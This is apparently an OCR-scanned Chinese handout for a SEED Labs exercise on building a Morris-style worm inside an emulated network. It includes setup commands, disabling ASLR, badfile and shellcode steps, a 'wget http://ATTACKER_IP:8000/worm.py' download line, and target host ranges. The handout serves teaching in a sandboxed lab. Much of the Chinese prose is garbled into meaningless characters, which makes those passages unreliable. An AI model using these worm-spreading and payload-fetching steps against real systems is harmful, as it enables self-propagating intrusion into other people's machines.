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$ cd Labsetup/internet-nano
$ dcbuild
$ dcup
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icmp and dst 1.2.3.4

Replay stopped.
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$ cd Labsetup/internet-nano
$ dcbuild
$ dcup

JRBhsE R, FTIT B U -
http://localhost:8080/map.html

EF— G FHIEN shell, RJFIE1T FHMG2L:
$ ping 1.2.3.4
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icmp and dst 1.2.3.4
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$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
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ping 1.2.3.4

A SR P o e A BEE IR, BBG I  EAL TAR.

4.2 % p badfile

{£ createBadfile() 1, FATREMIGEGEMA, MHEHRSG S ERREHbE, FFEdEdHR
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4.3 Shellcode
FE B 28 P X i 5236, shellcode 8 H T8 3l shelle ASLEGH ] shellcode g iz 4T — B
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$ python3 -m http.server 8000
SRJE L H AR EHLAT A 2 T #des OoC

$ wget http://ATTACKER_IP:8000/worm.py -0 /tmp/worm.py
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for host_id in range(71, 76):
targets.append(£"10.{asn}.0.{host_id}")

TSI T W 2 S SRR SR, RN BEALIT L DO I A b o B EAR 415 P SR e 4 R
bro ASZIGAEOR ST AL, HFRELE A AR H bRt £ 4 i 2 B0 AL R g A w2

i RRGGH ENUR, ENAER ML EGRBHEAT, MO T —Fe . M BT AT AT Bh AR
SUERRIRAT. R PR R R R AR A, IR REIRAY H AR A R

7 £5 5: BILEEERE

IR R BRG] — S g, 2IRBTHE, HEESBWLSAERE TS A Morris i RFF
AN R R R A Y, AR LS R, BRI, i Ol AT E AR
D2 PIRGE,

— ] B VR AR SR A b B R S

$ touch /tmp/seed_worm_infected
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B TH AT 55 £ BR8N internet-nano M 5E . B — ™MESHH internet-mini W%,
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// For AMD machines
$ dcbuild # alias for "docker-compose build"

$ ./z_start.sh # start the containers in batches (10 in each batch)

// For Apple Silicon machines
$ ./z_build.sh  # build images in batches (10 or 20 in each batch)

$ dcup # alias for "docker compose up"

docker-compose F&JFAAE— MA@ [FIEJEE) 200 2 MBI ATRERIK. z_start.sh &R
B 10 N2, DGR XA W@, EAELE internet-mini/ SCHEFABE R IISCAFSE 3%, 5 NEA
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Apple Silicon HL#¥# % H Ubuntu 22.04 VM, Compose 7228k "docker compose", IMiA &
"docker-compose". %M I% [N E#% "docker compose up" HAZIFTH s — Ik A Lk E @, H—kME
MESEBITRERM, FILTHFEEH z_build.sh .

ffF ./z_start.sh JAshaeh, 282 PL detached ST, HEiE)E G187, XFELmAL
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(EAEns N

$ docker logs -f <container ID>

HTASEERDS, HEEAME TN B . BT HER 7752 Docker fir % ELFEEHEAN
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A IP Hihks
$ dockps | grep as153
9869c5085bf7 as153h-host_0-10.153.0.71

843a920c60f5 as153h-host_10-10.153.0.81
286d97c102dc as153h-host_1-10.153.0.72

icmp and dst 1.2.3.4
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[1] Wikipedia contributors, “Morris worm — Wikipedia, The Free Encyclopedia”, https://en.
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[2] Spafford, Eugene, “An analysis of the worm”, December 8, 1988, Purdue University.
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